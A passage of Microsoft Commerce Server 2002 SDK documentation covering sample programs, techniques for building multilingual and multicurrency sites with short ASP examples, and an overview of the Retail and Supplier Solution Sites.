  4. After placing the order and receiving order confirmation, open the ReaderApp.exe file located at <drive>:\Program Files\Microsoft Commerce Server\SDK\Samples\Order Processing\Queuing\ReaderApp\ReaderApp.exe.
  5. In the Read Order From Queue dialog box, in the Site name box, type the name of the site (for example, OrderSitelet).
  6. Click ReadOrder to read the first order from the queue.
The order is read from the queue and displayed in the Order details box.
  1. Click OK to save the order to the database.

    Note

    • Clicking Cancel will return the order to the queue and close the application.
  2. Repeat steps 6 and 7 until all orders have been read from the queue.
  3. To close the Read Order from Queue dialog box, click Cancel.


Privacy Samples

The Microsoft Commerce Server 2002 Software Development Kit (SDK) contains the following privacy scripts:

Delete User Data Script

Location in SDK: SDK\Samples\Privacy\DeleteDetailedData.vbs

This sample demonstrates how to use the OLE DB Provider for Commerce Server to delete detailed data about a particular user from the Data Warehouse.

Disassociate User Data Script

Location in SDK: SDK\Samples\Privacy\DisconnectDetailedData.vbs

This sample demonstrates how to use the OLE DB Provider for Commerce Server to disassociate detailed data about a particular user without deleting the data itself.


Site Management Samples

The Management folder contains the following samples:

  • PuP Resource Sample. Describes the Pup Resource sample.
  • ResourceConfig Sample. Describes the ResourceConfig sample.
  • Site Status Sample. Describes the Site Status sample.


PuP Resource Sample

Location in SDK: SDK\Samples\Site Management\PuP Resource

The files in this sample constitute the Microsoft Visual Basic source code for a COM object that implements the IPuP interface. The implementation is essentially the same as that implemented by the GenericPuP object, and can be used to package a specified set of tables from a single SQL Server database. For more information about the IPuP interface and the GenericPuP object, see Site Packager Interface and Using the GenericPuP Object.


ResourceConfig Sample

Location in SDK: SDK\Samples\Site Management\ResourceConfig

The files in this sample constitute the Microsoft Visual Basic source code that demonstrates how to add the configuration information for a custom resource with one configuration property to the tables of the Administration database. For more information about integrating a custom resource, see Integrating Custom Resources.


Site Status Sample

Location in SDK: SDK\Samples\Site Management\Site Status

The files in this sample constitute the C++ source code of a Microsoft Management Console (MMC) extension snap-in and custom Commerce Server site resource that extends the Commerce Server Manager interface and provides the ability to open and close the Commerce Server applications into which it is installed.

When installed as a site resource, this extension snap-in retrieves the name of the site it is installed in, and then retrieves the names of all the applications installed in the site. When you choose to close the site, it queries the Internet Information Services (IIS) metabase on each Web server hosting the site, and sets the RedirectUrl key in the metabase to redirect all incoming requests to a page that reports the site as closed.

To install the sample into an existing site, run the InstallSiteStatus.vbs script from the command line, passing in the name of the site. For example:

    C:\>cscript InstallSiteStatus.vbs Retail

Note

  • This example assumes that your account logon user name is sa, and the password is blank. Update the account logon user name and password in the InstallSiteStatus.vbs file to match your resources.


Site Creation Samples

Location in SDK: SDK\Samples\SiteCreate

The files in the SiteCreate folder are provided for two purposes. The .vbs and .sql script files are examples of how to create sites or add resources to sites using script. These files are also useful for learning how to incorporate new resources that use the GenericPup object. For more information about the GenericPup object, see the PuP Resource Sample. The .ini files are examples of those used to pack and unpack Commerce Server 2002 packages silently through the Commerce Server Site Packagers command line interface. For more information about the Site Packager resource, see Using Site Packager.


Targeting Samples

The Microsoft Commerce Server 2002 Software Development Kit (SDK) contains the following targeting samples:

Database Scripts to Remove Tables and Related Objects

Location in SDK: SDK\Samples\Targeting\dbscripts

The files in this sample provide SQL scripts that can be used to remove different categories of tables and related objects, as follows:

  • campaigns-drop.sql: Removes all tables and related objects for the Campaigns resource.
  • expression-store-drop.sql: Removes all tables and related objects for an Expression store, which is normally in the same database as the Profile store.
  • listmanager-drop.sql: Removes all tables and related objects in a List Manager database, which is normally in the same database used by the Campaigns resource.

Targeting Debugging Samples

Location in SDK: SDK\Samples\Targeting\Debug

The files in this sample provide a set of Active Server Pages (ASP) that you can include in your ASP files to dump the contents of a Content Selection Framework (CSF) cache, and to trace the scoring logic applied for any given content request. The CSF Score Headlines sample demonstrates how to use these debugging utilities.

The ASP files in this directory are DumpContentList.asp and TraceScores.asp.

Headline Targeting Sample

Location in SDK: SDK\Samples\Targeting\Headlines

The files in this sample demonstrate how to extend the Targeting System using custom Content Selection Framework (CSF) Cache Loading and Scoring components. This sample shows how to target headlines to users of your site based on the age of the headline and what headlines have been seen the most. It demonstrates integration with the Targeting System using both Microsoft Visual C++ and Microsoft Visual Basic.

For more information about creating the sample, see Creating the CSF Headlines Sample or the Readme.txt file in the Headlines folder.

See Also

Targeting Programming Concepts

Extending the Content Selection Framework


Developing an International Site

Microsoft Commerce Server 2002 provides functionality to ease the process of internationalizing your Web site. Commerce Server includes features for tracking the language chosen by the user, for maintaining Web site text in multiple languages, and for manipulating date, time, and currency strings for presentation in the language of choice.

This section contains:

  • Starting with an Example Site. Describes quick-start options for developers who are building a new site.
  • Tracking Language Choice. Describes different mechanisms for tracking the language chosen by the user.
  • Localizing Web Site Text. Describes how to present Web site text in the language chosen by the user.
  • Localizing Dates and Times. Describes the Commerce Server objects provided for manipulating date and time strings and values so that they conform to the language chosen by the user.
  • Localizing Currencies. Describes the Commerce Server objects provided for manipulating currency strings and values so that they conform to the language chosen by the user. Also described are strategies for presenting product prices in different currencies.
  • International Site Development Examples. Describes site development tasks and provides sample code for those tasks.

Note

  • For additional ASP.NET code sample sitelets, see:
    • Retail2002: International Retail Site
    • ASP.NET-based Advertising Sitelet
    • ASP.NET-based Catalog Sitelet
    • ASP.NET-based Order Sitelet
    • ASP.NET-based Profile Sitelet
  • For additional ASP code sample sitelets, see:
    • ASP-based Advertising Sitelet
    • ASP-based Catalog Sitelet
    • ASP-based Discount Sitelet
    • ASP-based Order Sitelet
    • ASP-based Passport Sitelet
    • ASP-based Profile Sitelet

See Also

Planning an International Solution

International Scenarios Summary

Table of Language Culture Names, Codes, and ISO Values

Table of Country / Region and State / Province Names


Starting with an Example Site

If you are developing a new international business-to-consumer (B2C) site, you can base an effective site on the Retail Solution Site or the International Retail Site. The choice depends on several factors, such as your existing code base and the features you need in your site. It is possible to use Active Server Pages (ASP) and ASP.NET in the same site, but this can compromise the performance advantage of ASP.NET.

Commerce Server Retail Site is available at http://go.microsoft.com/fwlink/?linkid=6491.

The following table lists the differences between the two sites.

Feature | International Retail Site | Retail Solution Site
Implementation language? | ASP.NET | ASP
Multilingual and multicurrency support? | Yes | No
Improved multicultural content handling? | Yes | No
Modular architecture? | Yes | No
Feature set? | Less complete | More complete
Close to production level code? | No, SDK sample | Yes
Business-to-consumer (B2C) support? | Main features | Yes
Business-to-business (B2B) support? | Basic features | Yes


Tracking Language Choice

If you are developing a Web site that will support multiple languages, you need a strategy for tracking the language choice made by the user. You can do this by:

  • Storing the language choice in the user profile. One option for tracking a language choice is to persist the choice made by each user in the user profile. Each page retrieves the user profile and then uses the value stored in the language property to make the appropriate selections for text formatting. This is a cost-effective method of storing language preferences, because the only performance cost involved is retrieving and updating the profile. In most cases this will be the most effective method for storing the user language preference. The ASP Profile Sitelet and the ASP.NET-Based Profile Sitelet provided in the SDK demonstrate how to implement this technique.
  • Creating distinct Web sites for each language. If your site contains mostly static HTML pages, you could pre-generate pages for each language. Using this approach, you develop and maintain multiple parallel Web sites, one for each language that is supported. Typically, the links on these pages link to other pages in the same language, while the links that move the user to a different language link to the equivalent page in each supported language. In this approach, the language choice is inherent in the URLs.

    You can minimize the maintenance burden of this approach by pre-generating pages from a reference Web site. The reference Web site should have all language-specific strings expressed as replaceable variables. You could then develop a tool to substitute the appropriate language-specific strings for each of these variables for each language that is supported.

  • Storing the language choice in client-side cookies. Storing the language choice in a client-side cookie is the easiest way to track a language choice, but cookies must be enabled on client browsers. In this approach, you store a language code (for example, "en", "fr", or "nl") in the cookie and read the cookie on every page that displays language-dependent strings. The language code can then be used to make the appropriate selections for text formatting. This is the choice used for the International Retail Solution Site.

    Depending on the expiration date of the cookies, this option may allow language choice to be preserved from session to session.

  • Passing the language choice in URL query strings. You can store the language choice in the query string portion of the URL for each page to track a language choice. If you use this approach, each page must read the language choice from the query string and use it to dynamically append the language choice to all URLs on the page so that that choice can be passed to subsequent pages. The language choice must also be used to make the appropriate selections for text, currency, and date/time formatting.
  • Detect the browsers language. The initial settings of the language choice can be based on the browser settings. This value can then be stored, and the user can change it if a different choice is wanted.


Localizing Web Site Text

On Web sites that support multiple languages, rendered pages must be capable of displaying text in the language chosen by the user. You must first decide whether you will build and maintain parallel Web sites in different languages, or whether you will build a single Web site that dynamically builds each page in the appropriate language.

Although the parallel Web site approach offers better performance due to its more static nature, the maintenance burden of keeping multiple Web sites synchronized has made this approach unpopular.

Commerce Server includes features to make the dynamic approach easier to develop. These features include:

  • Product Catalog System. The extensible nature of the Product Catalog System provides a convenient mechanism for storing multiple language information for each product in the catalog. For example, you can create multilingual properties for product descriptions, and then display the appropriate description based on the preferred language of a user. For more information about the Product Catalog System, see Product Catalog System.
  • MessageManager Object. This object serves as a repository for text strings used on a Web site. It includes a mechanism for separating the symbolic name of the string from the particular language translation of the string. For example, you could output the string "Weekly Specials" in English using the GetMessage method of the MessageManager object, as shown in the following code example:
    Dim sLangChoice
sLangChoice = "en"
<%= oMessageManager.GetMessage("Weekly_Specials", sLangChoice)%>

    By changing the way in which the sLangChoice parameter is initialized, the same line of code could be used to display a version of the string in a different language.

    An instance of the MessageManager object is typically created and loaded with messages in the Global.asa file. A reference to this object is then placed in the intrinsic Application object so that all pages in the Web site have easy access to the stored messages. If multiple languages are being used, the initialization code in the Global.asa file will load the MessageManager object with multiple sets of messages, where each set corresponds to one of the languages being supported.

    If you provide a set of localized messages for a particular language, it is important that you provide a translated version of all corresponding text. If you attempt to call the GetMessage method of the MessageManager object and pass a string name and language for which no string exists, a run-time error will occur.

    All of the ASP sitelets provided in the SDK use the MessageManager object to display site text in the language established in the user profile.

    For more information about using the MessageManager object, see MessageManager Object.

  • CacheManager Object. This object can serve as a high-performance repository for strings or other data that are used frequently. Since retrieval from a CacheManager object is dependent upon a single key string, and not a combination of a key string and a language string as is the case for the MessageManager object, the choice of language must be embedded within the key string itself.

    For example, multiple language versions of the same string in English, French, and Dutch could be stored in a CacheManager object, with the key strings for each ending in "_en", "_fr", and "_nl", respectively. The key string would be built dynamically, altering the final component of the string based on the language choice of the user.

    For more information about using the CacheManager object, see CacheManager Object and Core Objects.

  • .NET support for localization of static text

    ASP.NET handles the internationalization of static text differently from ASP. With ASP.NET, the localized resources are separated into a resource file (.resx) that can be embedded in an assembly or a satellite assembly on a per culture basis.

    The .NET ResourceManager class is used to retrieve the appropriate resources from the .resx file based on culture settings. There is a built-in fall-back mechanism for when resources for a culture are missing. For more information about the .NET Resource Manager, search on "Resource Manager" in the .NET Framework SDK located at http://go.microsoft.com/fwlink/?LinkId=6680.

    For example, if you want to support French Canadian (fr-CA) and French France (fr-FR) cultures, you can do so with one set of French resources marked as simply "fr". When the site user selects the fr-CA culture, the .NET globalization namespace methods provide a way to appropriately display currencies, and dates for the fr-CA culture. In this case, the Resource Manager will look for resources marked as fr-CA, will not find any, and will then automatically look for an existing country/region neutral culture for "fr". The Resource Manager will find the "fr" resources, and the strings will be loaded.

    Notes

    • If the "fr" resource did not exist. the Resource Manager would fall back to the default resources.
    • A tool, called the Resource File Generator (resgen), is provided to migrate from rc.xml to resx. Resgen converts .txt files and .resx (XML-based resource format) files to common language run-time binary resources files that can be embedded in a run-time binary executable, or compiled into satellite assemblies.


Localizing Dates and Times

On Web sites that support multiple languages, rendered pages must display dates and times in the format appropriate for the language chosen by the user.

Commerce Server provides several Component Object Model (COM) objects for processing date and time values in different languages. These features include:

  • AppFrameWork Object. This object includes several methods for retrieving locale-sensitive date and time values from HTTP requests. These methods are:
    • AppFrameWork.RequestDate
    • AppFrameWork.RequestDateTime
    • AppFrameWork.RequestTime
  • DataFunctions Object. This object includes several methods for converting locale-sensitive date and time strings to their equivalent variant values, and back again. These methods are:
    • DataFunctions.ConvertDateString
    • DataFunctions.Date
    • DataFunctions.ConvertDateTimeString
    • DataFunctions.DateTime
    • DataFunctions.ConvertTimeString
    • DataFunctions.Time

On .NET-based sites, the .NET cultures system provides strong support for these tasks as well. Fore more information, see the .NET Framework Developer's Guide topic "Using the CultureInfo Class."

For more information about these objects, see Core Object Programming Concepts.


Localizing Currencies

On Web sites that support multiple languages, rendered pages must display currency values in the format appropriate for the country/region chosen by the user. Further, the price of any given product needs to be displayable in multiple currencies.

This section contains:

  • Objects for Manipulating Currencies
  • Presenting Product Prices in Multiple Currencies


Objects for Manipulating Currencies

Commerce Server provides several Component Object Model (COM) objects for processing currency values in different languages. These features include:

  • AppFrameWork Object. This object includes a method for retrieving locale-sensitive currency values from HTTP requests. This method is:
    • AppFrameWork.RequestMoneyAsNumber
  • DataFunctions Object. This object includes several methods for converting and formatting currency values. These methods are:
    • DataFunctions.ConvertMoneyStringToNumber
    • DataFunctions.ConvertStringToCurrency
    • DataFunctions.CurrencySymbol
    • DataFunctions.LocalizeCurrency
    • DataFunctions.Money
  • EuroDisplay Object. This object includes several methods for converting locale-sensitive currency strings to their equivalent numeric values, and back again. These methods are:
    • EuroDisplay.ConvertAltStringToCurr
    • EuroDisplay.ConvertBaseStringToCurr
    • EuroDisplay.ConvertMoney
    • EuroDisplay.FormatAltMoney
    • EuroDisplay.FormatBaseMoney
    • EuroDisplay.Initialize

For more information about these objects, see Core Object Programming Concepts.


Presenting Product Prices in Multiple Currencies

An issue related to the display of currencies in Web sites that support multiple languages is the presentation of product prices in different currencies.

As with product text, one alternative is to extend the product catalog schema to allow for the storage of product prices in different properties, one per language. The advantage of this approach is that product prices can be presented in conventional, well-rounded amounts such as $4.95 or £9.99. If you adopt this approach, however, you will be offering your products at slightly different prices based on the language chosen by the user, and you will have the burden of maintaining multiple prices per product.

A different strategy involves storing product-pricing information in only one currency, known as the base currency. For example, you can store your prices in U.S. dollars or European euros, and then recalculate prices in other currencies, as needed. This calculation adjusts the price in the base catalog by the exchange rate. When your site displays a price, it calculates the price based on the exchange rate and displays it with the associated currency symbol and display format.

Virtual catalogs are also an option for providing alternate currency pricing. See the topic Viirtual Catalogs for more information.

Important

  • If you store search results and product detail pages in the CacheManager object, you must make the currency part of the cache key or you will retrieve the wrong results when you try to display pricing in a different currency. For more information, see Caching Programming Concepts.
  • You may need to change the currency mode settings within the pipeline configurations to accommodate your choice of locale. More information can be found in the topics Currency Modes, Using the Pipeline Editor Property Pages, and Pipeline Properties.


International Site Development Examples

Before you develop your international site you will need to gather all the requirements for the markets you are going to include. For example, you will need to define the currencies and language settings you plan to include. You will also need to decide on the default language and currency to display, if you are not able to determine the preference for the site user.

Once you have determined all of your requirements, you will be ready to implement the code to meet those requirements. This section provides examples of common development tasks for international sites.

This section contains:

  • Code to Display Shipping Methods for a Particular Language
  • Code to Filter Catalog Data for a Particular Language
  • Code to Set the Language Properties for a User Profile


Code to Display Shipping Methods for a Particular Language

You can use the ShippingMethodManager object to control how shipping methods are displayed on your site. Shipping methods are stored in the ShippingConfig table of the Commerce Server run-time database (for example, Retail_commerce). The general steps for using the ShippingMethodManager object are to first initialize the ShippingMethodManager object and then obtain a list of the supported shipping methods. To retrieve the list of supported methods you call the GetInstalledMethodList method, which generates a SQL query and returns an ADO recordset containing all of the shipping methods in the ShippingConfig table. You can obtain a list of shipping methods for a particular language by appending a WHERE clause to the query that specifies a language_id field. The filter parameter of the GetInstalledMethodList method provides the WHERE clause. The following code example illustrates this concept. The code generates the following SQL query:

SELECT shipping_method_id, shipping_method_name FROM ShippingConfig WHERE language_id= ‘en’
Dim oShipMgr
Dim rstShipInfo
Set oShipMgr = Server.CreateObject(“Commerce.ShippingMethodManager”)
rstShipInfo = oShipMgr.GetInstalledMethodList(“language_id=en”, “”, _
                                              Array(“shipping_method_id”,
                                              “shipping_method_name”))

Note

  • The values for the language_id field are retrieved from the languages.xml file that is installed by default in the <bizdesk>\config directory.

See Also

International Shipping

ShippingMethodManager Object


Code to Filter Catalog Data for a Particular Language

The product catalog provides support for storing language-specific properties. You can retrieve these properties by setting the language setting for an instance of a product catalog before you display the catalog information.

The following code example demonstrates one way of retrieving catalog data for a particular language. The ASP-Based Catalog Sitelet and ASP.NET-Based Catalog Sitelet in the SDK provide a more complete example of how to use the product catalog multilingual support.

Note

  • Searching for Unicode text in a catalog requires a modified syntax. SQL requires that Unicode strings be identified with an "N" prefix. This is a problem in parameter searches as only part of the query is Unicode and Commerce Server cannot automatically supply the prefix. For example, a user requests products that match [ISBN] like "<Kanji string>". The SQL query for this search would contain a string like this "(([ISBN] like ''%Kanji string%''))". This query would not return the wanted results because the Kanji string would not be interpreted as Unicode. Instead, the user needs to specify [ISBN] like N"<Kanji string>" to obtain the wanted results.

The following sample includes an HTML form for selecting a particular language. The Action element for the form posts the form date to the Catman.asp file. The Catman.asp file performs the following operations:

  • Creates an instance of the CatalogManager object
  • Retrieves the catalog named "Adventure Works Catalog"
  • Sets the display language to the language selected in the form
  • Retrieves the products for the "Sleeping Bags" category
  • Displays the descriptions of the products in the "Sleeping Bags" category in the selected language

Form to select the language

<HTML>
<HEAD>
<META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0">
<TITLE></TITLE>
</HEAD>
<BODY>
<Form ID="setlang" Action = "catman.asp" Method = "Post">
<SELECT id=select1 name=Lang>
<OPTION value=fr-FR>French</OPTION>
<OPTION value=en-US>English</OPTION>
<OPTION value=de-DE>German</OPTION></SELECT>

<Input Type=submit>
</Form>

</BODY>
</HTML>

Catman.asp

<html>
<body>
<%
dim oCatMan
dim oProdCat
dim oProducts
dim sConnStr
dim sCatname
dim sCatagoryname
dim sLang

'Instantiate Catalog Manager and setup string variables
Set oCatMan = Server.CreateObject("Commerce.CatalogManager")
sConnStr = "Provider=SQLOLEDB.1;Integrated Security='SSPI';Initial Catalog=Retail_Commerce;Data Source=Myserver;Network Library=dbmssocn;"
sCatname = "Adventure Works Catalog"
sCategoryname = "SleepingBags"
sLang = Request.Form ("Lang")

'Initialize the Catalog Manager, set the display language and get some products
oCatMan.Initialize sConnStr, True
Set oProdCat = oCatMan.GetCatalog(sCatname)
oProdCat.Language = sLang
Set oProducts = oProdCat.GetCategory(sCategoryname).Products

'Display the product description
Do While Not oProducts.EOF
  Response.Write oProducts("Description") & "<BR>"
  oProducts.MoveNext ()
Loop

%>
</body>
</html>


Code to Set the Language Properties for a User Profile

One of the first tasks in developing an international site is to decide how you will determine the locale settings preferred by the user. Although there are a number of methods for accomplishing this, one common way is by reading the language and currency properties from the user profile. These two properties are included in the default user profile supplied in Commerce Server. If your site relies on these properties to determine how to display locale-specific content, you will need to mark these as required fields in your user registration form.

Once you have retrieved the preferences for a user from their user profile, you can use these settings to display the appropriate content. The following code example illustrates this concept. The example consists of a simple HTML form for entering a user ID, password, and language preference. The form posts the entered data to an ASP file named Profileexamp.asp. The Profileexamp.asp file instantiates the Profile Service, and creates a new profile with the user ID, password, and language preference entered in the form. The Profileexamp.asp file then retrieves the language setting for the new user profile, and displays it.

Note this code example does not reflect best practices for developing with the Profile objects, and is only provided for illustrative purposes. Error handling has been removed, and instantiating the Profile Service at the page level is not recommended. For a more complete example of how to use the Profile objects, see Profile Sitelet.

Form to enter user information

<HTML>
<HEAD>
<META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0">
<TITLE></TITLE>
</HEAD>
<BODY>
<Form ID="setlang" Action = "profileexamp.asp" Method = "Post">
<Input Type= text id=useridin name=userid>User ID</Input><BR>
<Input Type= text id=pwordin name=pword>Password</Input><BR>

<SELECT id=select1 name=Lang>
<OPTION value=fr-FR>French</OPTION>
<OPTION value=en-US>English</OPTION>
<OPTION value=de-DE>German</OPTION></SELECT>
<BR>
<Input Type=submit>
</Form>

</BODY>
</HTML>

Profileexamp.asp

<html>
<body>
<%
dim oProfService
dim oProfile
dim sConnStr
dim sUser
dim sCatagoryname
dim sLang
dim sProfile
dim sUserLang

'Instantiate ProfileService and setup string variables
Set oProfService = Server.CreateObject("Commerce.ProfileService")
'do not use SA as username – remember to use strong passwords
sConnStr = "Provider=CSOLEDB;User ID=username;Password=******;Initial Catalog=Retail_Commerce;Data Source=Myserver;"
sLang = Request.Form ("Lang")
sUser = Request.Form ("Userid")
sProfile = "UserObject"

'Initialize the Profile Service, create the profile, and set the language preference
oProfService.Initialize sConnStr
Set oProfile = oProfService.CreateProfile (sUser, sProfile)
oProfile.GeneralInfo.Language = sLang
oProfile.Update
‘Retrieve the profile property you just set and write it out to the client
sUserLang = oProfile.GeneralInfo.Language
Response.Write sUserLang
%>
</body>
</html>

See Also

International Campaigns


Commerce Server Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Commerce Server Solution Sites provide a significant head start for developing a Web site based on Commerce Server 2002. They provide a highly structured approach to building a Web site that will be easy to extend and maintain once you have gained a sufficient understanding of how the Solution Sites work. The purpose of this documentation is to provide you with the information necessary to achieve that understanding.

This document contains:

  • Solution Sites Overview. Provides a brief overview of the Retail and Supplier Solution Sites, and provides information about how to best use this documentation.
  • Solution Site Features. Describes the features of the Solution Sites from the perspective of someone using them to buy products.
  • Solution Site Infrastructure. Describes several aspects of the infrastructure provided by the Solution Sites code.
  • Site Development Using Solution Sites. Provides information related to using the Solution Sites and modifying them into a production-ready, branded, commercial Web site.
  • Solutions Sites File Organization. Describes the files that constitute the Solution Sites and how they are organized into a hierarchy of folders.
  • Solution Sites Reference. Provides reference material useful when developing commercial Web sites based on the Solution Sites.


Solution Sites Overview

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Commerce Server Solution Sites provide a starting point for building commercial Web sites that use the functionality provided by Commerce Server 2002. There are two Solution Sites available, the Retail site and the Supplier site.

These sites consist of the same set of files, configured to behave differently. This was done because both types of sites incorporate much of the same functionality, differing only in a few particular ways. Further, this ability to reconfigure the sites provides for the possibility of easily constructing a different type of site that blends the functions of the Retail and Supplier sites.

The Retail site serves as the starting point for building a business-to-consumer Web site. This is a typical internet shopping site, allowing, for example, access by the general public and purchases with credit cards.

The Supplier site serves as the starting point for building a business-to-business Web site. Specifically, the Supplier site models situations such as a business that supplies products to other businesses. The businesses buying the products must be known in advance to the selling business. The Supplier Site includes features that allow for the delegation of some administrative functions to the buying businesses themselves.

Commerce Server 2002 includes the following Solution Sites:

  • Blank site. You can use this Solution Site as a starting point for building your own custom site. It includes all of the Commerce Server 2002 resources. The Blank site is installed with Commerce Server 2002.
  • Visual Basic .NET Site. You can use this Solution Site as a starting point for building your own custom site using Microsoft Visual Basic .NET without using Microsoft Visual Studio .NET. The Visual Basic .NET Site (VB.pup) is installed with Commerce Server 2002.
  • C# Site. You can use this Solution Site as a starting point for building your own custom site using Microsoft C# without using Microsoft Visual Studio .NET. The Visual Basic .NET Site (CSharp.pup) is installed with Commerce Server 2002.
  • Data Warehouse Site. The Data Warehouse Configurator uses this site, which contains a version of the Commerce Server Business Desk application that only includes the Analysis and Security modules. The Data Warehouse site (DW.pup) is installed with Commerce Server 2002.
  • Retail site. You can use this Solution Site as a starting point for building a business-to-consumer site. It includes business-to-consumer functionality for personalization, merchandising, catalog search, customer service, and business analytics. It includes the Customer Service, which enables users to manage their own profile information and to view their order status. The Retail site is available at http://go.microsoft.com/fwlink/?linkid=6491.
  • Supplier site. You can use this Solution Site as a starting point for building a business-to-business site. It uses Active Directory in Microsoft Windows 2000 to provide secure user authentication and group access permissions. It provides purchase order and requisition handling, XML-based catalog updates and exchange, and trading partner self-service. It includes the Partner Service, which enables a delegated administrator (a contact at a supplier company) to manage organizational information, purchase orders, and order status for that supplier company. The Supplier site is available at http://go.microsoft.com/fwlink/?linkid=6491.

Note

  • You must grant the ASPNET user permissions to access Commerce Server databases when you build custom Commerce Server sites Microsoft Visual Basic .NET or Microsoft C# (VB.pup or Csharp.pup) Solution Sites.

This section contains:

  • Solution Sites Common Code Base
  • Retail Site
  • Supplier Site
  • Solution Sites Documentation


Solution Sites Common Code Base

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

As a developer of a Web site based on one of the Commerce Server Solution Sites, it is important that you understand that the Solution Sites are based on the same set of files. Configuration information, known as App Default Config, stored in the Commerce Server Administration database, is responsible for the differences between the sites. Within the script code that generates the HTML for the sites, there are numerous tests of the values in App Default Config, switching particular features on and off, or making more complex decisions between feature choices.

This means that the differences between the Retail Solution Site and the Supplier Solution Site are a matter of a few configuration differences in their respective App Default Config settings, and that one type of site could be changed into the other type of site by making the appropriate App Default Config changes using Commerce Server Manager.

An exception to this rule concerns the Profiling System that is supplied with the Solution Sites. The Supplier site installs a Profiling System that is based on Active Directory, while the Retail site installs a Profiling System that is based solely on SQL Server.

For more information about the App Default Config settings that constitute each of the Solution Sites, see Configuration Settings for Solution Sites. For more information about where the various App Default Config values are tested or otherwise used in the Solution Sites script code, see Use of App Default Config Settings in Solution Sites.


Retail Site

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Retail site represents a configuration of the Solution Sites common code base that is intended for you to use as the starting point for developing a retail Web site.

For information about the features included in the Retail site, see the Solution Site Features section.

The Retail site differs from the Supplier site in the following respects:

  • Partner Services is disabled in the Retail site, as specified by a setting of zero (0) for the i_DelegatedAdminOptions property of App Default Config.
  • Logging in is not required in the Retail site unless and until a purchase is made, as specified by a setting of six (6) for the i_FormLoginOptions property of App Default Config.
  • The Internet Information Service (IIS) authentication mechanism is configured to allow anonymous access.
  • Credit cards are the only allowed payment option in the Retail site, as specified by a setting of one (1) for the i_PaymentOptions property of App Default Config.
  • Self-registration is allowed in the Retail site, as specified by a setting of one (1) for the i_SiteRegistrationOptions property of App Default Config.
  • In the Retail site, user profile information is stored in a SQL Server database, as specified directly in the Profiling System.

For more information about the configuration settings that make the Retail site different from the Supplier site, see Configuration Settings for Solution Sites.

See Also

Supplier Site

Solution Site Features

Configuration Settings for Solution Sites


Supplier Site

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Supplier site represents a configuration of the Solution Sites common code base that is intended for you to use as the starting point for developing a site that allows contractual purchasing. The business model for this site is a business that is offering its products to an established set of other business, the latter of which have authorized certain employees to be able to make purchases. In fact, there is a feature, known as Partner Services, through which the administration of the list of authorized employees is delegated to the purchasing companies themselves.

Also note that the Product Catalog System in Commerce Server, using custom catalogs and catalog sets, allows the supplier business to offer custom pricing to different purchasing businesses.

For information about the features included in the Supplier site, see the Solution Site Features section.

The Supplier site differs from the Retail site in the following respects:

  • Partner Services is enabled in the Supplier site, as specified by a setting of one (1) for the i_DelegatedAdminOptions property of App Default Config.
  • Logging in is required in the Supplier site, and authentication is provided through Internet Information Services (IIS) using Basic or Integrated Windows authentication, as specified by a setting of seven (7) for the i_FormLoginOptions property of App Default Config.
  • Both credit cards and purchase order billing are allowed as payment options in the Supplier site, as specified by a setting of five (5) for the i_PaymentOptions property of App Default Config.
  • Self-registration is not allowed in the Supplier site, as specified by a setting of zero (0) for the i_SiteRegistrationOptions property of App Default Config.
  • In the Supplier site, user profile information is stored in Active Directory, as specified directly in the Profiling System.

For more information about the configuration settings that make the Supplier site different from the Retail site, see Configuration Settings for Solution Sites.

See Also

Retail Site

Solution Site Features

Configuration Settings for Solution Sites


Solution Sites Documentation

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

It is strongly recommended that you review all of the topics in the first four sections of this documentation before you begin Web site development based on one of the Commerce Server Solution Sites. It is important that you understand the features implemented by the Solution Sites, key aspects of the Solution Sites infrastructure, and additional information related to site development using the Solution Sites. These sections are:

  • Solution Sites Overview. Provides a brief overview of the Retail and Suppler Solution Sites, and provides information about how to best use the included documentation.
  • Solution Site Features. Describes the features of the Solution Sites from the perspective of someone using them to buy products, and so on.
  • Solution Site Infrastructure. Describes several aspects of the infrastructure provided by the Solution Sites code.
  • Site Development Using Solution Sites. Provides information related to starting with the Solution Sites and customizing them into an actual, branded, commercial Web site.

The last two sections of the documentation are intended as reference material. It is advised that you review the content of these sections before you begin customizing the Solution Sites so that you gain a better understanding of the information provided, and where different types of information can be found. These sections are:

  • Solution Sites File Organization. Describes the files that constitute the Solution Sites and how they are organized into a hierarchy of folders.
  • Solution Sites Reference. Provides reference material that you will find useful when developing your commercial Web sites based on the Solution Sites.

The Routines Reference provides a valuable resource, intended for use when modifying existing pages by changing existing code and when developing new pages. When modifying existing code, the routine topics can help you quickly track down the places where a particular routine is invoked, so that you can consider the full impact of the changes you are making. When creating new pages, the routine topics can help you find existing routines that can be invoked to help build the content for new pages in a manner that is consistent with existing pages. For more information about the functional categories in which these routines are grouped, see Utility Routines for Solution Sites.


Solution Site Features

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Commerce Server Solution Sites incorporate most of the capabilities of Commerce Server 2002. You use the Solution Sites to build working Web sites that you can customize as needed. Most of the basic features needed for creating a commercial Web site are present in the Solution Sites, such as a shopping basket, a checkout procedure, a product catalog, user profiles, and so on. There are also more advanced features, such as prediction and BizTalk Server integration.

For each such feature, this section describes the implementation of that feature in the Solution Sites, divided into separate discussions of the initialization of the feature, and the browse time execution of the feature (that is, when a user is viewing a Web site page incorporating the feature in their browser).

This section contains:

  • About the Basket Feature for Solution Sites
  • About the Checkout Feature for Solution Sites
  • About the Payment Options Feature for Solution Sites
  • About the Catalog Feature for Solution Sites
  • About the Address Management Feature for Solution Sites
  • About the Login Feature for Solution Sites
  • About the User Tracking Feature for Solution Sites
  • About the Profiles Feature for Solution Sites
  • About the Ads Feature for Solution Sites
  • About the Discounts Feature for Solution Sites
  • About Prediction for Solution Sites
  • About the Customer Service Feature for Solution Sites
  • About the Partner Service Feature for the Supplier Solution Site
  • About the Analysis Integration Feature for Solution Sites
  • About the BizTalk Server Integration Feature
  • Enabling International Features for Solution Sites


About the Basket Feature for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The basket feature involves many parts. It stores a list of items a user has selected to purchase, applies any relevant discounts to product prices, and computes the order subtotal. Users can save shopping baskets so that they can return to the site and purchase the items at a later date.

The following figure shows the basket.asp page workflow.

